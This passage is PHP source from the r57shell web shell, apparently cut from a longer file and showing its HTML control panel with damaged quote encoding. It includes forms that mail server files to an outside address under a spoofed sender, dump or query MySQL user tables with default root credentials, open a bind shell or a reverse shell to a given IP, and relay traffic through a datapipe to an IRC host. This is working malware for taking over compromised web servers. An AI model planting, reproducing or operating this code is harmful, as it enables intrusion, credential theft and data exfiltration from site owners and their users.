href=quot;.$_SERVER['PHP_SELF'].quot;?users>quot;.$lang[$language.'_text95'].quot;</a> )</font>quot;); echo sr(15,quot;quot;,in('checkbox','reverse id=reverse',0,'1'). $lang[$language.'_text101']); echo $te.'</div>'.$table_end1.$fe; } if(@function_exists(quot;mailquot;)){ echo $table_up1.div_title($lang[$language.'_text102'],'id19'). $table_up2.div('id19').$ts.quot;<tr>quot;.$fs.quot;<td valign=top width=50%>quot;.$ts; echo quot;<font face=Verdana size=-2><b><div align=center id='n'>quot;. $lang[$language.'_text103'].quot;</div></b></font>quot;; echo sr(25,quot;<b>quot;.$lang[$language.'_text105'].$arrow.quot;</b>quot;,in('text','to',45,(! empty($_POST['to'])?($_POST['to']): (quot;hacker@mail.comquot;))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); echo sr(25,quot;<b>quot;.$lang[$language.'_text106'].$arrow.quot;</b>quot;,in('text','from',45,(! empty($_POST['from'])?($_POST['from']):(quot;billy@microsoft.comquot;)))); echo sr(25,quot;<b>quot;.$lang[$language.'_text107'].$arrow.quot;</b>quot;,in('text','subj',45,(!
    • empty($_POST['subj'])?($_POST['subj']):(quot;hello billyquot;)))); echo sr(25,quot;<b>quot;.$lang[$language.'_text108'].$arrow.quot;</b>quot;,'<textarea name=text cols=33 rows=2>'.(!empty($_POST['text'])?($_POST['text']):(quot;mail text herequot;)).'</textarea>'); echo sr(25,quot;quot;,in('submit','submit',0,$lang[$language.'_butt15'])); echo $te.quot;</td>quot;.$fe.$fs.quot;<td valign=top width=50%>quot;.$ts; echo quot;<font face=Verdana size=-2><b><div align=center id='n'>quot;. $lang[$language.'_text104'].quot;</div></b></font>quot;; echo sr(25,quot;<b>quot;.$lang[$language.'_text105'].$arrow.quot;</b>quot;,in('text','to',45,(! empty($_POST['to'])?($_POST['to']): (quot;hacker@mail.comquot;))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); echo sr(25,quot;<b>quot;.$lang[$language.'_text106'].$arrow.quot;</b>quot;,in('text','from',45,(! empty($_POST['from'])?($_POST['from']):(quot;billy@microsoft.comquot;)))); echo sr(25,quot;<b>quot;.$lang[$language.'_text107'].$arrow.quot;</b>quot;,in('text','subj',45,(! empty($_POST['subj'])?($_POST['subj']):(quot;file from r57shellquot;)))); echo sr(25,quot;<b>quot;.$lang[$language.'_text18']. $arrow.quot;</b>quot;,in('text','loc_file',45,$dir)); echo sr(25,quot;<b>quot;.$lang[$language.'_text91']. $arrow.quot;</b>quot;,in('radio','compress',0,'none',1).' '.$arh); echo sr(25,quot;quot;,in('submit','submit',0,$lang[$language.'_butt15'])); echo $te.quot;</td>quot;.$fe.quot;</tr></div></table>quot;; } if($mysql_on||$mssql_on||$pg_on||$ora_on) { $select = '<select name=db>'; if($mysql_on) $select .= '<option>MySQL</option>'; if($mssql_on) $select .= '<option>MSSQL</option>'; if($pg_on) $select .= '<option>PostgreSQL</option>'; if($ora_on) $select .= '<option>Oracle</option>'; $select .= '</select>'; echo $table_up1.div_title($lang[$language.'_text82'],'id20'). $table_up2.div('id20').$ts.quot;<tr>quot;.$fs.quot;<td valign=top width=50%>quot;.$ts; echo quot;<font face=Verdana size=-2><b><div align=center id='n'>quot;. $lang[$language.'_text40'].quot;</div></b></font>quot;; echo sr(35,quot;<b>quot;.$lang[$language.'_text80'].$arrow.quot;</b>quot;,$select); echo sr(35,quot;<b>quot;.$lang[$language.'_text111']. $arrow.quot;</b>quot;,in('text','db_server',15,(!empty($_POST['db_server'])? ($_POST['db_server']):(quot;localhostquot;))).' <b>:</b> '.in('text','db_port',15,(! empty($_POST['db_port'])?($_POST['db_port']):(quot;3306quot;)))); echo sr(35,quot;<b>quot;.$lang[$language.'_text37'].' : '.$lang[$language.'_text38']. $arrow.quot;</b>quot;,in('text','mysql_l',15,(!empty($_POST['mysql_l'])? ($_POST['mysql_l']):(quot;rootquot;))).' <b>:</b> '.in('text','mysql_p',15,(! empty($_POST['mysql_p'])?($_POST['mysql_p']):(quot;passwordquot;)))); echo sr(35,quot;<b>quot;.$lang[$language.'_text36'].$arrow.quot;</b>quot;,in('text','mysql_db',15, (!empty($_POST['mysql_db'])?($_POST['mysql_db']):(quot;mysqlquot;))).' <b>.</b> '.in('text','mysql_tbl',15,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']): (quot;userquot;)))); echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump').quot;<b>quot;. $lang[$language.'_text41'].$arrow.quot;</b>quot;,in('checkbox','dif id=dif',0,'1').in('text','dif_name',31,(!empty($_POST['dif_name'])? ($_POST['dif_name']):(quot;dump.sqlquot;)))); echo sr(35,quot;quot;,in('submit','submit',0,$lang[$language.'_butt9'])); echo $te.quot;</td>quot;.$fe.$fs.quot;<td valign=top width=50%>quot;.$ts; echo quot;<font face=Verdana size=-2><b><div align=center id='n'>quot;. $lang[$language.'_text83'].quot;</div></b></font>quot;; echo sr(35,quot;<b>quot;.$lang[$language.'_text80'].$arrow.quot;</b>quot;,$select); echo sr(35,quot;<b>quot;.$lang[$language.'_text111']. $arrow.quot;</b>quot;,in('text','db_server',15,(!empty($_POST['db_server'])? ($_POST['db_server']):(quot;localhostquot;))).' <b>:</b> '.in('text','db_port',15,(!
    • empty($_POST['db_port'])?($_POST['db_port']):(quot;3306quot;)))); echo sr(35,quot;<b>quot;.$lang[$language.'_text37'].' : '.$lang[$language.'_text38']. $arrow.quot;</b>quot;,in('text','mysql_l',15,(!empty($_POST['mysql_l'])? ($_POST['mysql_l']):(quot;rootquot;))).' <b>:</b> '.in('text','mysql_p',15,(! empty($_POST['mysql_p'])?($_POST['mysql_p']):(quot;passwordquot;)))); echo sr(35,quot;<b>quot;.$lang[$language.'_text39'].$arrow.quot;</b>quot;,in('text','mysql_db',15, (!empty($_POST['mysql_db'])?($_POST['mysql_db']):(quot;mysqlquot;)))); echo sr(35,quot;<b>quot;.$lang[$language.'_text84']. $arrow.quot;</b>quot;.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),quot;quot;); echo $te.quot;<div align=center id='n'><textarea cols=55 rows=1 name=db_query>quot;.(! empty($_POST['db_query'])?($_POST['db_query']):(quot;SHOW DATABASES; SELECT * FROM user; SELECT version(); select user();quot;)).quot;</textarea><br>quot;.in('submit','submit',0,$lang[$language.'_butt1']).quot;</d iv></td>quot;.$fe.quot;</tr></div></table>quot;; } if(!$safe_mode&&$unix){ echo $table_up1.div_title($lang[$language.'_text81'],'id21'). $table_up2.div('id21').$ts.quot;<tr>quot;.$fs.quot;<td valign=top width=34%>quot;.$ts; echo quot;<font face=Verdana size=-2><b><div align=center id='n'>quot;. $lang[$language.'_text9'].quot;</div></b></font>quot;; echo sr(40,quot;<b>quot;.$lang[$language.'_text10']. $arrow.quot;</b>quot;,in('text','port',15,'11457')); echo sr(40,quot;<b>quot;.$lang[$language.'_text11']. $arrow.quot;</b>quot;,in('text','bind_pass',15,'r57')); echo sr(40,quot;<b>quot;.$lang[$language.'_text20'].$arrow.quot;</b>quot;,quot;<select size=quot;1quot; name=quot;usequot;><option value=quot;Perlquot;>Perl</option><option value=quot;Cquot;>C</option></select>quot;.in('hidden','dir',0,$dir)); echo sr(40,quot;quot;,in('submit','submit',0,$lang[$language.'_butt3'])); echo $te.quot;</td>quot;.$fe.$fs.quot;<td valign=top width=33%>quot;.$ts; echo quot;<font face=Verdana size=-2><b><div align=center id='n'>quot;. $lang[$language.'_text12'].quot;</div></b></font>quot;; echo sr(40,quot;<b>quot;.$lang[$language.'_text13'].$arrow.quot;</b>quot;,in('text','ip',15, ((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : (quot;127.0.0.1quot;)))); echo sr(40,quot;<b>quot;.$lang[$language.'_text14']. $arrow.quot;</b>quot;,in('text','port',15,'11457')); echo sr(40,quot;<b>quot;.$lang[$language.'_text20'].$arrow.quot;</b>quot;,quot;<select size=quot;1quot; name=quot;usequot;><option value=quot;Perlquot;>Perl</option><option value=quot;Cquot;>C</option></select>quot;.in('hidden','dir',0,$dir)); echo sr(40,quot;quot;,in('submit','submit',0,$lang[$language.'_butt4'])); echo $te.quot;</td>quot;.$fe.$fs.quot;<td valign=top width=33%>quot;.$ts; echo quot;<font face=Verdana size=-2><b><div align=center id='n'>quot;. $lang[$language.'_text22'].quot;</div></b></font>quot;; echo sr(40,quot;<b>quot;.$lang[$language.'_text23']. $arrow.quot;</b>quot;,in('text','local_port',15,'11457')); echo sr(40,quot;<b>quot;.$lang[$language.'_text24']. $arrow.quot;</b>quot;,in('text','remote_host',15,'irc.dalnet.ru')); echo sr(40,quot;<b>quot;.$lang[$language.'_text25']. $arrow.quot;</b>quot;,in('text','remote_port',15,'6667')); echo sr(40,quot;<b>quot;.$lang[$language.'_text26'].$arrow.quot;</b>quot;,quot;<select size=quot;1quot; name=quot;usequot;><option value=quot;Perlquot;>datapipe.pl</option><option value=quot;Cquot;>datapipe.c</option></select>quot;.in('hidden','dir',0,$dir)); echo sr(40,quot;quot;,in('submit','submit',0,$lang[$language.'_butt5'])); echo $te.quot;</td>quot;.$fe.quot;</tr></div></table>quot;; } echo '</table>'.$table_up3.quot;</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell - http-shell by RST/GHC | <a href=http://rst.void.ru>http://rst.void.ru</a> | <a href=http://ghc.ru>http://ghc.ru</a> | version quot;.$version.quot; ]--- o</b></font></div></td></tr></table>quot;;
    • echo '</body></html>'; ?>